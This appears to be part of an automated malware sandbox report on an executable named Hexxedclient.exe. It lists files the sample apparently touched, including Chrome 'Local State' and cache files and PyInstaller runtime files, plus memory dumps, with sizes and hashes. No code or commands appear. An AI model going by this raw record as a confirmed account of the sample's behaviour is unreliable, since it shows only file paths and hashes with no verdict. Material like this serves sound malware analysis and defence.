48119337b0000abd28ee722d005298ff

SHA1
7d07848ac9e5df6c7cda6c83f37d528e21505a18

SHA256
9beac7ffa6e07c8af6f824cb18937955a7b2d081dfe2e769eb4e501f3e12014b

SHA512
c3d78c3416fdcbb699d5aad6eccc04603d42b4ce71e8b94274dd7b32f1b39df8e66a6fd094073ffe9a5a9bc5b18f826119ffc8bf7090f1ca599fd556f1ba2ba2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\3e8ad32ef6e0ff2c8dfb0722a7a862f0a1038fb3\8c743f3a-d3db-4464-ac07-b216c5619a46\index-dir\the-real-index

Filesize
2KB

MD5
02f559dffa592dbdf8771835a67d26e3

SHA1
b2f5a5b63af598d8101510daaa4642c4c16397d0

SHA256
198a15b9a78bd3df8dd131c8ca4da0f6164b3e1a1085274e01cae5c254f1faa1

SHA512
654603cabb61eeeabc076e1143de60122bf529c15ea31fd96f782fa43b88b2eab7d683343f8f923166bcdab93f8771906343985cb56a25276be36b8b266a0790

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\3e8ad32ef6e0ff2c8dfb0722a7a862f0a1038fb3\8c743f3a-d3db-4464-ac07-b216c5619a46\index-dir\the-real-index~RFe586675.TMP

Filesize
48B

MD5
275c78cc11fa1f606165edb25066fd05

SHA1
a48ad2df082061c9dff0bfaa0235942c9d2fae0c

SHA256
6727deaf5d65d7c0eefad6a5f78f11fcc0404211f0ba780820a211f74d7660fb

SHA512
d49c3f2ae5eef259eeed03ff1b8cd7008ec301ce9434ad10517b9096657c43edad98be8cd99f542d7f3a11d0448ed502bd68ed36a9a338723a9780d00db5e42d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\3e8ad32ef6e0ff2c8dfb0722a7a862f0a1038fb3\index.txt

Filesize
87B

MD5
2d5b4ed5ced9193df749af99696f7c45

SHA1
b5ebc94201617a82d64d9c515f1942a77e171b44

SHA256
bfc63a3d6821f2f12c6e376f173b298376619a35c42c8f8b009f84d24a83203e

SHA512
5e73a71e220ee6cc2eaf689eb03f2fc99d075cceb843583470f19fbd3a9e5f76ff9e91df911046e0e08723c4a53a835f4e42970a08772bcf50b67996b1159915

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\3e8ad32ef6e0ff2c8dfb0722a7a862f0a1038fb3\index.txt

Filesize
144B

MD5
cdc3db8195f297343c9a3e5c93f81d3b

SHA1
66e9766bbb06c2f21aaf84fca2b3e12e1dca633c

SHA256
5b68661bc926a8f280bddc7ac8fa0e2f23c0897085dd65beb3792d9e1657ca3c

SHA512
90e1b48d6516e67bda6fc883ccdc243951f874159c5abf163092c808a7a1f1dcbe021e6e55180f11702ef8448e340536642b1b6260fa9b77d6cd48bcc53c9614

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\3e8ad32ef6e0ff2c8dfb0722a7a862f0a1038fb3\index.txt

Filesize
82B

MD5
7c655938164980937170b4fa84ab57ab

SHA1
e59d6ccdf2d5a33acb54347ef1846679e8850710

SHA256
903cfb2ba67aaf0e476652332fe430d1cadad7eaedda0defb3a623837f1ef125

SHA512
46dfd2db4b421b32c3f11fd6e53e569579d607851a3d3af246079e88cb6708524f257e88c92a958ee6dad333fb170dba2cf862a1809330bf85ec2415b2eb47e9

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\3e8ad32ef6e0ff2c8dfb0722a7a862f0a1038fb3\index.txt

Filesize
80B

MD5
c9508df1f0ecc54ee394fded2a2b31aa

SHA1
94b431b1af388a0176f069c94eb1ce531e2b5cec

SHA256
26a59936fe465c00552f41f1215072bfbf03c0b90abf9ea3b5a86626d6a27774

SHA512
5b68277d7ba3ae8843d6223279f063ae518a75e250bd690efd228dcb760079a06786c2911edd2b6696f1e29cf133deec843e04d77daa93618599ead8b6f8c94a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
101KB

MD5
037a46308d72e78c466569f7209e5e10

SHA1
20102add3628048800b5d67c9b3c2f48e7b0f3aa

SHA256
b5b180f954081e500bd4aad54ec48f57a689bc5b972ba620d5f66c491f252736

SHA512
56aa32a916f8b13574bbe7cb4bb02544d502c7d1628931fd8451f370956f15ddf726f50eae61f362a080aca68d2e2f7c08e02bf0c492df67bcd45d244971a253

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
101KB

MD5
a95cdf61126fd344973b287c9e01de80

SHA1
c15fdc3e183355dc352c3170b849608ba1b61f93

SHA256
83ade96f3e1bdcd838c98723d1778315e3125fb3a50d36e4d4e6a26e79b9a3eb

SHA512
5b29bff887f84a4e2f91f957c88f9a2968eb1830426bbbe99e7e0ffb9eea28d23f5fe696ac17cc7efcbe638ad0a90d4e1678e5a221877f9596bce1e986fd02cd

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
101KB

MD5
a1ec09d2d80408da70642c0e34d0d3be

SHA1
20dbdae62c2e55a234b18226c1e3d0877741f73f

SHA256
9f9d2b570929671d24955527096708d6f29646b3320bf8d43799647ea7db1951

SHA512
1920dd8a9997cdaacc091be39e07e2988a43dd40399b27af7e7b2fdfcd9ff6a47e61328b32e93720a9b89c5e0b22b4b62f8bcb9411f5e4617a4699b28b198fb8

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
101KB

MD5
f5398d81f6988b94576e4f90c8b9453a

SHA1
cca2d755c7f5aa927e2095147da721e5cbba20f6

SHA256
198bdb0ef9ed4d85618b2a18530efe03b023252d7a1e85b363e479f8bef42f82

SHA512
6c2efae40db8cd22b52f87c5d630a267309a53517ef3dd4c13d3c6e6170f97a48da8c43900e8d76277cfae83bbf501e889261ab3b1da6b37ca33194e6d02ca1d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
101KB

MD5
a633a744e2b82cebbf03295e033c1b57

SHA1
9a721ee528c28ad15aa18a7456290f97490440fe

SHA256
da03bba59a6be0c1672053ab8f2a0061f55a5c3e34859e44b72ebc6b293d6e40

SHA512
39f9d62991adc1502c4eb9b1545e9e3d343e1172d990414fda25f2e1cadcbaf7c9ce5dd184c74b332fffdbd2c0758c10b55259956c0ebe529eacf3cc75d06fbc

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
130KB

MD5
d8131ed9ad62c9d3aa0b6fa04e5dc4a0

SHA1
59c1db4268adbe6de2a677effa1d97482b7129fe

SHA256
f4c3d4442150c065dea791d5b9d114142cf94d5e26b448168bad21337fc03e03

SHA512
44e9c8aaa5088d6e2c37e85778e428c687b3f88ac1f0aa2b644714f0c4af5c61c83d79fe3b6eb2a77a46d49b2d05c5fa5af03cc5eaa682cc197ac384576c63e2

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40242\VCRUNTIME140.dll

Filesize
106KB

MD5
4585a96cc4eef6aafd5e27ea09147dc6

SHA1
489cfff1b19abbec98fda26ac8958005e88dd0cb

SHA256
a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736

SHA512
d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40242\_ctypes.pyd

Filesize
58KB

MD5
1adfe4d0f4d68c9c539489b89717984d

SHA1
8ae31b831b3160f5b88dda58ad3959c7423f8eb2

SHA256
64e8fd952ccf5b8adca80ce8c7bc6c96ec7df381789256fe8d326f111f02e95c

SHA512
b403cc46e0874a75e3c0819784244ed6557eae19b0d76ffd86f56b3739db10ea8deec3dc1ca9e94c101263d0ccf506978443085a70c3ab0816885046b5ef5117

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40242\base_library.zip

Filesize
1.4MB

MD5
2f6d57bccf7f7735acb884a980410f6a

SHA1
93a6926887a08dc09cd92864cd82b2bec7b24ec5

SHA256
1b7d326bad406e96a4c83b5a49714819467e3174ed0a74f81c9ebd96d1dd40b3

SHA512
95bcfc66dbe7b6ad324bd2dc2258a3366a3594bfc50118ab37a2a204906109e42192fb10a91172b340cc28c12640513db268c854947fb9ed8426f214ff8889b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI40242\python311.dll

Filesize
1.6MB

MD5
5792adeab1e4414e0129ce7a228eb8b8

SHA1
e9f022e687b6d88d20ee96d9509f82e916b9ee8c

SHA256
7e1370058177d78a415b7ed113cc15472974440d84267fc44cdc5729535e3967

SHA512
c8298b5780a2a5eebed070ac296eda6902b0cac9fda7bb70e21f482d6693d6d2631ca1ac4be96b75ac0dd50c9ca35be5d0aca9c4586ba7e58021edccd482958b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wkt0qks0.uqn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Downloads\Hexxedclient.rar

Filesize
6.8MB

MD5
313aadd46e5bb2051152fad06c1a86dc

SHA1
de5b453e0a25003c2f2de00ba006742f2105b34f

SHA256
7206ecadf0d099a6387726ad78577eb3f2c46b155fa5bed9642b5a8160f40ff1

SHA512
525ce52461a003c557642f6b958e15bf78ce32a6b724d7d530286531d2e57f6021225b511041808a92303d81866a9839514a408fe6cb67429bfb3d3ba91c4a18

Download Submit
C:\Users\Admin\Downloads\Hexxedclient.rar:Zone.Identifier

Filesize
26B

MD5
fbccf14d504b7b2dbcb5a5bda75bd93b

SHA1
d59fc84cdd5217c6cf74785703655f78da6b582b

SHA256
eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913

SHA512
aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98

Download Submit
C:\Users\Admin\Downloads\Hexxedclient\Hexxedclient.exe

Filesize
7.0MB

MD5
36b73f679e19648794cdd0f9d26161b2

SHA1
cb0d167e00117cf4405e281e39be722264021305

SHA256
8de3d83c8da7be0827042b335b99a63f75fddca8646f2ad4ead12bea2b4f47b9

SHA512
a73682aa0644ec58bf98fe810c50de8181e1f652f604d5c9636683c9998d05e9ae71e36696317ff7d8862dc61221558025ed281c37bacf9fde3fcc819097509d

Download Submit
memory/3688-848-0x00007FF91FB70000-0x00007FF91FB7F000-memory.dmp

Filesize
60KB

Download
memory/3688-867-0x00007FF919680000-0x00007FF9196AD000-memory.dmp

Filesize
180KB

Download
memory/3688-853-0x00007FF919680000-0x00007FF9196AD000-memory.dmp

Filesize
180KB

Download
memory/3688-854-0x00007FF91E790000-0x00007FF91E7A9000-memory.dmp

Filesize
100KB

Download
memory/3688-856-0x00007FF901120000-0x00007FF901297000-memory.dmp

Filesize
1.5MB

Download
memory/3688-855-0x00007FF9167D0000-0x00007FF9167F3000-memory.dmp

Filesize
140KB

Download
memory/3688-858-0x00007FF91EFE0000-0x00007FF91EFED000-memory.dmp

Filesize
52KB

Download
memory/3688-859-0x00007FF915D90000-0x00007FF915DBE000-memory.dmp

Filesize
184KB

Download
memory/3688-862-0x00007FF902810000-0x00007FF9028C8000-memory.dmp

Filesize
736KB

Download
memory/3688-861-0x00007FF91C7F0000-0x00007FF91C813000-memory.dmp

Filesize
140KB

Download
memory/3688-860-0x00007FF9008D0000-0x00007FF900EB9000-memory.dmp

Filesize
5.9MB

Download
memory/3688-864-0x000001588CB50000-0x000001588CEC8000-memory.dmp

Filesize
3.5MB

Download
memory/3688-863-0x00007FF900550000-0x00007FF9008C8000-memory.dmp

Filesize
3.5MB

Download
memory/3688-847-0x00007FF91C7F0000-0x00007FF91C813000-memory.dmp

Filesize
140KB

Download
memory/3688-868-0x00007FF91E790000-0x00007FF91E7A9000-memory.dmp

Filesize
100KB

Download
memory/3688-869-0x00007FF900430000-0x00007FF90054C000-memory.dmp

Filesize
1.1MB

Download
memory/3688-866-0x00007FF91A3B0000-0x00007FF91A3BD000-memory.dmp

Filesize
52KB

Download
memory/3688-865-0x00007FF91BC60000-0x00007FF91BC74000-memory.dmp

Filesize
80KB

Download
memory/3688-857-0x00007FF91BD20000-0x00007FF91BD39000-memory.dmp

Filesize
100KB

Download
memory/3688-956-0x00007FF91BD20000-0x00007FF91BD39000-memory.dmp

Filesize
100KB

Download
memory/3688-843-0x00007FF9008D0000-0x00007FF900EB9000-memory.dmp

Filesize
5.9MB

Download
memory/3688-891-0x00007FF9167D0000-0x00007FF9167F3000-memory.dmp

Filesize
140KB

Download
memory/3688-902-0x00007FF901120000-0x00007FF901297000-memory.dmp

Filesize
1.5MB

Download
memory/5252-878-0x000001DBF2B80000-0x000001DBF2BA2000-memory.dmp

Filesize
136KB

Download
memory/5508-962-0x0000021574F90000-0x0000021574F98000-memory.dmp

Filesize
32KB

Download